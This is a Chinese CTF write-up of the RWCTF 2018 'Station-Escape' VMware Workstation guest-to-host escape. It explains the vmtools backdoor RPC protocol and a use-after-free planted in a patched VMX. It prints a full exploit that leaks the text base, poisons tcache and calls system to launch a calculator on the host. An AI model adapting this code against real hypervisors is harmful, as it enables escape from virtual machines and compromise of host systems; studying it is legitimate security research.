RealWorldCTF Final Station-Escape Writeup¶
RWCTF Final 2018是我们觉得非常不错的一次竞赛,非常贴近实战,其中每道题目都值得深入研究。其中Station-Escape是一道VMWare Workstation逃逸的题目,我们觉得非常cool,所以进行了详细分析,这里非常感谢长亭科技的flyyy师傅贡献的非常优秀的题目和悉心的技术指导。本文分析工作由r3kapig的Ne0和bibi完成。
前置知识¶
在VMWare中,有一个奇特的攻击面,就是vmtools。vmtools帮助宿主机和客户机完成包括文件传输在内的一系列的通信和交互,其中使用了一种被称为backdoor的接口。backdoor接口是如何和宿主机进行通信的呢,我们观察backdoor函数的实现,可以发现如下代码:
MOV EAX, 564D5868h /* magic number */ MOV EBX, command-specific-parameter MOV CX, backdoor-command-number MOV DX, 5658h /* VMware I/O Port */ IN EAX, DX (or OUT DX, EAX)
首先需要明确的是,该接口在用户态就可以使用。在通常环境下,IN指令是一条特权指令,在普通用户态程序下是无法使用的。因此,运行这条指令会让用户态程序出错并陷出到hypervisor层,从而hypervisor层可以对客户机进行相关的操作和处理,因此利用此机制完成了通信。利用backdoor的通信机制,客户机便可以使用RPC进行一系列的操作,例如拖放、复制、获取信息、发送信息等等。
backdoor机制所有的命令和调用方法,基本都是首先设置寄存器、然后调用IN或OUT特权指令的模式。那么我们使用backdoor传输RPC指令需要经过哪些步骤呢?我们以本题涉及到的backdoor操作进行说明:
+------------------+ | Open RPC channel | +---------+--------+ | +------------v-----------+ | Send RPC command length| +------------+-----------+ | +------------v-----------+ | Send RPC command data | +------------+-----------+ | +-------------v------------+ | Recieve RPC reply length | +-------------+------------+ | +------------v-----------+ | Receive RPC reply data | +------------+-----------+ | +--------------v-------------+ | Finish receiving RPC reply | +--------------+-------------+ | +---------v---------+ | Close RPC channel | +-------------------+
以下内容主要参考(该文档和真实逆向情况略有出入,将会在后文中说明):https://sites.google.com/site/chitchatvmback/backdoor
Open RPC channel¶
RPC subcommand:00h
调用IN(OUT)前,需要设置的寄存器内容:
EAX = 564D5868h - magic number EBX = 49435052h - RPC open magic number ('RPCI') ECX(HI) = 0000h - subcommand number ECX(LO) = 001Eh - command number EDX(LO) = 5658h - port number
返回值:
ECX = 00010000h: success / 00000000h: failure EDX(HI) = RPC channel number
该功能用于打开RPC的channel,其中ECX会返回是否成功,EDX返回值会返回一个channel的编号,在后续的RPC通信中,将使用该编号。这里需要注意的是,在单个虚拟机中只能同时使用8个channel(#0 - #7
),当尝试打开第9个channel的时候,会检查其他channel的打开时间,如果时间过了某一个值,会将超时的channel关闭,再把这个channel的编号返回;如果都没有超时,create channel会失败。
我们可以使用如下函数实现Open RPC channel的过程:
void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rdi,%%r10\n\t" "movq %%rsi,%%r11\n\t" "movq %%rdx,%%r12\n\t" "movq %%rcx,%%r13\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0xc9435052,%%ebx\n\t" "movl $0x1e,%%ecx\n\t" "movl $0x5658,%%edx\n\t" "out %%eax,%%dx\n\t" "movl %%edi,(%%r10)\n\t" "movl %%esi,(%%r11)\n\t" "movl %%edx,(%%r12)\n\t" "movl %%ecx,(%%r13)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13" ); }
Send RPC command length¶
RPC subcommand:01h
调用:
EAX = 564D5868h - magic number EBX = command length (not including the terminating NULL) ECX(HI) = 0001h - subcommand number ECX(LO) = 001Eh - command number EDX(HI) = channel number EDX(LO) = 5658h - port number
返回值:
ECX = 00810000h: success / 00000000h: failure
在发送RPC command前,需要先发送RPC command的长度,需要注意的是,此时我们输入的channel number所指向的channel必须处于已经open的状态。ECX会返回是否成功发送。具体实现如下:
void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%r8,%%r10\n\t" "movl %%ecx,%%ebx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0001001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); }
Send RPC command data¶
RPC subcommand:02h
调用:
EAX = 564D5868h - magic number EBX = 4 bytes from the command data (the first byte in LSB) ECX(HI) = 0002h - subcommand number ECX(LO) = 001Eh - command number EDX(HI) = channel number EDX(LO) = 5658h - port number
返回值:
ECX = 000010000h: success / 00000000h: failure
该功能必须在Send RPC command length后使用,每次只能发送4个字节。例如,如果要发送命令machine.id.get
,那么必须要调用4次,分别为:
EBX set to 6863616Dh ("mach") EBX set to 2E656E69h ("ine.") EBX set to 672E6469h ("id.g") EBX set to 00007465h ("et\x00\x00")
void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){ asm("pushq %%rbp\n\t" "movq %%r9,%%r10\n\t" "movq %%r8,%%rbp\n\t" "movq %%rcx,%%r11\n\t" "movq $0,%%r12\n\t" "1:\n\t" "movq %%r8,%%rbp\n\t" "add %%r12,%%rbp\n\t" "movl (%%rbp),%%ebx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0002001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "addq $4,%%r12\n\t" "cmpq %%r12,%%r11\n\t" "ja 1b\n\t" "movl %%ecx,(%%r10)\n\t" "popq %%rbp\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12" ); }
Recieve RPC reply length¶
RPC subcommand:03h
调用:
EAX = 564D5868h - magic number ECX(HI) = 0003h - subcommand number ECX(LO) = 001Eh - command number EDX(HI) = channel number EDX(LO) = 5658h - port number
EBX = reply length (not including the terminating NULL) ECX = 00830000h: success / 00000000h: failure
1
表示success
,0
表示failure
,即使VMware无法识别RPC command,也会返回0 Unknown command
作为reply。也就是说,reply数据的前两个字节始终表示RPC command命令的状态。
void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%r8,%%r10\n\t" "movq %%rcx,%%r11\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0003001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" "movl %%ebx,(%%r11)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11" ); }
Receive RPC reply data¶
RPC subcommand:04h
调用:
EAX = 564D5868h - magic number EBX = reply type from subcommand 03h ECX(HI) = 0004h - subcommand number ECX(LO) = 001Eh - command number EDX(HI) = channel number EDX(LO) = 5658h - port number
EBX = 4 bytes from the reply data (the first byte in LSB) ECX = 00010000h: success / 00000000h: failure
https://sites.google.com/site/chitchatvmback/backdoor
中有出入的是,在实际的逆向分析中,EBX中存放的值,不是reply id,而是reply type,他决定了执行的路径。和发送数据一样,每次只能够接受4个字节的数据。需要注意的是,我们在Recieve RPC reply length
中提到过,应答数据的前两个字节始终表示RPC command的状态。举例说明,如果我们使用RPC command询问machine.id.get
,如果成功的话,会返回1 <virtual machine id>
,否则为0 No machine id
。
void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){ asm("pushq %%rbp\n\t" "movq %%r9,%%r10\n\t" "movq %%r8,%%rbp\n\t" "movq %%rcx,%%r11\n\t" "movq $1,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0004001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "in %%dx,%%eax\n\t" "add %%r11,%%rbp\n\t" "movl %%ebx,(%%rbp)\n\t" "movl %%ecx,(%%r10)\n\t" "popq %%rbp\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12" ); }
Finish receiving RPC reply¶
RPC subcommand:05h
调用:
EAX = 564D5868h - magic number EBX = reply type from subcommand 03h ECX(HI) = 0005h - subcommand number ECX(LO) = 001Eh - command number EDX(HI) = channel number EDX(LO) = 5658h - port number
ECX = 00010000h: success / 00000000h: failure
Receive RPC reply data
接收完整个reply数据的话,就会返回failure。
void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movq $0x1,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0005001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); }
Close RPC channel¶
RPC subcommand:06h
调用:
EAX = 564D5868h - magic number ECX(HI) = 0006h - subcommand number ECX(LO) = 001Eh - command number EDX(HI) = channel number EDX(LO) = 5658h - port number
ECX = 00010000h: success / 00000000h: failure
void channel_close(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0006001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); }
漏洞分析¶
虽然是RealWorld的竞赛,但是因为是魔改的VMWare Workstation,因此我们通过二进制比对的方式可以快速定位到漏洞点,节省大量的二进制程序审计和漏洞挖掘的时间。
可以发现出题人仅仅修改了两处,一处在0x1893c9,另一处在0x1893e6。分别对两个位置进行分析:
首先在0x1893c9处,channel->out_msg_buf置null的操作被nop掉了:
其次在0x1893e6处的函数调用中,v7&1变成了v7&0x21:
在第一处patch中,out_msg_buf没有被置空,其次在第二处patch中,原先被限制的reply type(&0x1)变成了&0x21,也就是说,我们在Finish receiving RPC reply的reply type中可以设置另外一条路径,这条路径会导致在随后的v6
这个调用(它会call函数sub_177700
),output buffer
被free
掉。
void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movq $0x21,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0005001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); }
漏洞利用¶
由上面的分析可以知,这个patch会导致UAF
:如果我们在接收完成之后设置了0x20
这个位,那么output buffer
就会被释放掉,但由于它没有被清零,所以理论上我们可以无限次的将它free
掉。有了这些条件,我们要完成整个利用就不难了。
利用步骤如下:
Leak:
1. 开两个channel:A,B
2. A
的output buffer
为buf_A
,然后A
释放buf_A
3. 这时让B
准备给guest
发output
,B
会分配一个buffer
,我们利用info-set
和info-get
来控制我们分配的buffer
大小,使得B
的output buffer: buf_B=buf_A
。
4. A
再次释放buf_A
,这也导致了buf_B
被释放。这个时候我们就可以leak
出buf_B
的fd
了,但是这个指针没有什么用,我们想要的是text base
。
5. 因此我们再执行命令vmx.capability.dnd_version
,这会让host
分配一块内存来存放一个obj
,通过控制buffer
大小我们可以刚好让buf_B
被用来存放一个obj
。而这个obj
里面有vtable
,我们可以leak
出来计算text base
。注意我们一直没有接受B
的输出,只是让它做好准备(分配output buffer)。直到这个时候我们才接受它的输出,完成leak
Exploit
有了leak
的方法,exploit
的也是类似的了。简单来说就是UAF
,把tcache
的fd
改到bss
段,然后改函数指针为system
,最后弹calculator
我给作者的exp加上了注释,大家可以参考:
#include <stdio.h> #include <stdint.h> void channel_open(int *cookie1,int *cookie2,int *channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rdi,%%r10\n\t" "movq %%rsi,%%r11\n\t" "movq %%rdx,%%r12\n\t" "movq %%rcx,%%r13\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0xc9435052,%%ebx\n\t" "movl $0x1e,%%ecx\n\t" "movl $0x5658,%%edx\n\t" "out %%eax,%%dx\n\t" "movl %%edi,(%%r10)\n\t" "movl %%esi,(%%r11)\n\t" "movl %%edx,(%%r12)\n\t" "movl %%ecx,(%%r13)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r8","%r10","%r11","%r12","%r13" ); } void channel_set_len(int cookie1,int cookie2,int channel_num,int len,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%r8,%%r10\n\t" "movl %%ecx,%%ebx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0001001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); } void channel_send_data(int cookie1,int cookie2,int channel_num,int len,char *data,int *res){ asm("pushq %%rbp\n\t" "movq %%r9,%%r10\n\t" "movq %%r8,%%rbp\n\t" "movq %%rcx,%%r11\n\t" "movq $0,%%r12\n\t" "1:\n\t" "movq %%r8,%%rbp\n\t" "add %%r12,%%rbp\n\t" "movl (%%rbp),%%ebx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0002001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "addq $4,%%r12\n\t" "cmpq %%r12,%%r11\n\t" "ja 1b\n\t" "movl %%ecx,(%%r10)\n\t" "popq %%rbp\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12" ); } void channel_recv_reply_len(int cookie1,int cookie2,int channel_num,int *len,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%r8,%%r10\n\t" "movq %%rcx,%%r11\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0003001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" "movl %%ebx,(%%r11)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11" ); } void channel_recv_data(int cookie1,int cookie2,int channel_num,int offset,char *data,int *res){ asm("pushq %%rbp\n\t" "movq %%r9,%%r10\n\t" "movq %%r8,%%rbp\n\t" "movq %%rcx,%%r11\n\t" "movq $1,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0004001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "in %%dx,%%eax\n\t" "add %%r11,%%rbp\n\t" "movl %%ebx,(%%rbp)\n\t" "movl %%ecx,(%%r10)\n\t" "popq %%rbp\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10","%r11","%r12" ); } void channel_recv_finish(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movq $0x1,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0005001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); } void channel_recv_finish2(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movq $0x21,%%rbx\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0005001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); } void channel_close(int cookie1,int cookie2,int channel_num,int *res){ asm("movl %%eax,%%ebx\n\t" "movq %%rcx,%%r10\n\t" "movl $0x564d5868,%%eax\n\t" "movl $0x0006001e,%%ecx\n\t" "movw $0x5658,%%dx\n\t" "out %%eax,%%dx\n\t" "movl %%ecx,(%%r10)\n\t" : : :"%rax","%rbx","%rcx","%rdx","%rsi","%rdi","%r10" ); } struct channel{ int cookie1; int cookie2; int num; }; uint64_t heap =0; uint64_t text =0; void run_cmd(char *cmd){ struct channel tmp; int res,len,i; char *data; channel_open(&tmp.cookie1,&tmp.cookie2,&tmp.num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_set_len(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd),&res); if(!res){ printf("fail to set len\n"); return; } channel_send_data(tmp.cookie1,tmp.cookie2,tmp.num,strlen(cmd)+0x10,cmd,&res); channel_recv_reply_len(tmp.cookie1,tmp.cookie2,tmp.num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } printf("recv len:%d\n",len); data = malloc(len+0x10); memset(data,0,len+0x10); for(i=0;i<len+0x10;i+=4){ channel_recv_data(tmp.cookie1,tmp.cookie2,tmp.num,i,data,&res); } printf("recv data:%s\n",data); channel_recv_finish(tmp.cookie1,tmp.cookie2,tmp.num,&res); if(!res){ printf("fail to recv finish\n"); } channel_close(tmp.cookie1,tmp.cookie2,tmp.num,&res); if(!res){ printf("fail to close channel\n"); return; } } void leak(){ struct channel chan[10]; int res=0; int len,i; char pay[8192]; char *s1 = "info-set guestinfo.a AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char *data; char *s2 = "info-get guestinfo.a"; char *s3 = "1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char *s4 = "tools.capability.dnd_version 4"; char *s5 = "vmx.capability.dnd_version"; //init data run_cmd(s1); // set the message len to be 0x100, so when we call info-get ,we will call malloc(0x100); run_cmd(s4); //first step channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),&res); if(!res){ printf("fail to set len\n"); return; } channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),s2,&res); channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } printf("recv len:%d\n",len); data = malloc(len+0x10); memset(data,0,len+0x10); for(i=0;i<len+0x10;i++){ channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res); } printf("recv data:%s\n",data); //second step free the reply and let the other channel get it. channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2),&res); if(!res){ printf("fail to set len\n"); return; } channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s2)-4,s2,&res); if(!res){ printf("fail to send data\n"); return; } //free the output buffer printf("Freeing the buffer....,bp:0x5555556DD3EF\n"); getchar(); channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res); if(!res){ printf("fail to recv finish1\n"); return; } //finished sending the command, should get the freed buffer printf("Finishing sending the buffer , should allocate the buffer..,bp:0x5555556DD5BC\n"); getchar(); channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,4,&s2[16],&res); if(!res){ printf("fail to send data\n"); return; } //third step,free it again //set status to be 4 channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } printf("recv len:%d\n",len); //free the output buffer printf("Free the buffer again...\n"); getchar(); channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res); if(!res){ printf("fail to recv finish2\n"); return; } printf("Trying to reuse the buffer as a struct, which we can leak..\n"); getchar(); run_cmd(s5); printf("Should be done.Check the buffer\n"); getchar(); //Now the output buffer of chan[1] is used as a struct, which contains many addresses channel_recv_reply_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } data = malloc(len+0x10); memset(data,0,len+0x10); for(i=0;i<len+0x10;i+=4){ channel_recv_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,i,data,&res); } printf("recv data:\n"); for(i=0;i<len;i+=8){ printf("recv data:%lx\n",*(long long *)&data[i]); } text = (*(uint64_t *)data)-0xf818d0; printf("Leak Success\n"); } void exploit(){ //the exploit step is almost the same as the leak ones struct channel chan[10]; int res=0; int len,i; char *data; char *s1 = "info-set guestinfo.b BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; char *s2 = "info-get guestinfo.b"; char *s3 = "1 BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"; char *s4 = "gnome-calculator\x00"; uint64_t pay1 =text+0xFE95B8; uint64_t pay2 =text+0xECFD0; //system uint64_t pay3 =text+0xFE95C8; char *pay4 = "gnome-calculator\x00"; run_cmd(s1); channel_open(&chan[0].cookie1,&chan[0].cookie2,&chan[0].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_set_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),&res); if(!res){ printf("fail to set len\n"); return; } channel_send_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,strlen(s2),s2,&res); channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } printf("recv len:%d\n",len); data = malloc(len+0x10); memset(data,0,len+0x10); for(i=0;i<len+0x10;i+=4){ channel_recv_data(chan[0].cookie1,chan[0].cookie2,chan[0].num,i,data,&res); } printf("recv data:%s\n",data); channel_open(&chan[1].cookie1,&chan[1].cookie2,&chan[1].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_open(&chan[2].cookie1,&chan[2].cookie2,&chan[2].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_open(&chan[3].cookie1,&chan[3].cookie2,&chan[3].num,&res); if(!res){ printf("fail to open channel!\n"); return; } channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res); if(!res){ printf("fail to recv finish2\n"); return; } channel_set_len(chan[1].cookie1,chan[1].cookie2,chan[1].num,strlen(s3),&res); if(!res){ printf("fail to set len\n"); return; } printf("leak2 success\n"); channel_recv_reply_len(chan[0].cookie1,chan[0].cookie2,chan[0].num,&len,&res); if(!res){ printf("fail to recv data len\n"); return; } channel_recv_finish2(chan[0].cookie1,chan[0].cookie2,chan[0].num,&res); if(!res){ printf("fail to recv finish2\n"); return; } channel_send_data(chan[1].cookie1,chan[1].cookie2,chan[1].num,8,&pay1,&res); channel_set_len(chan[2].cookie1,chan[2].cookie2,chan[2].num,strlen(s3),&res); if(!res){ printf("fail to set len\n"); return; } channel_set_len(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(s3),&res); channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay2,&res); channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,8,&pay3,&res); channel_send_data(chan[3].cookie1,chan[3].cookie2,chan[3].num,strlen(pay4)+1,pay4,&res); run_cmd(s4); if(!res){ printf("fail to set len\n"); return; } } void main(){ setvbuf(stdout,0,2,0); setvbuf(stderr,0,2,0); setvbuf(stdin,0,2,0); leak(); printf("text base :%p",text); exploit(); }
关于调试¶
调试有点小技巧需要说明一下。首先就是正常的把vmware
开起来,然后在host
用gdb
来attach
上去。这个时候我们会下断点,然后继续运行,进入虚拟机guest
里面跑exploit
脚本。但大家想一下,如果你还在guest
里面的时候,host
的gdb
遇到了断点,会怎样?
因为gdb
遇到了断点,那么guest
就被停住了。然而你还在guest
里面,你就没有办法按ctrl+alt
切出来了,就像被人放了一招时间停止
一样。这个时候你除了含泪强制关机之外没有什么好办法。所以大家在调试的时候记得现在exp开头加个sleep
,然后在sleep
的时候赶紧把鼠标切出来到host
中。这样就可以正常调试了。(PS:好像mac
不会有这个问题,因为mac
可以直接用触摸板切出来?)
相关材料¶
题目相关材料:
题目操作系统:Ubuntu x64 1804 目标VMWare Workstation:VMware-Workstation-Full-15.0.2-10952284.x86_64.bundle,https://drive.google.com/open?id=1SlojAhX0NCpWTPjASfM03v5QBvRtT-sp patched VMX:https://drive.google.com/open?id=1MJQSQYufGtl9DQnG1osyMk_1YbgCPL-E
一些参考资料:
https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware https://www.52pojie.cn/thread-783225-1-1.html https://sites.google.com/site/chitchatvmback/backdoor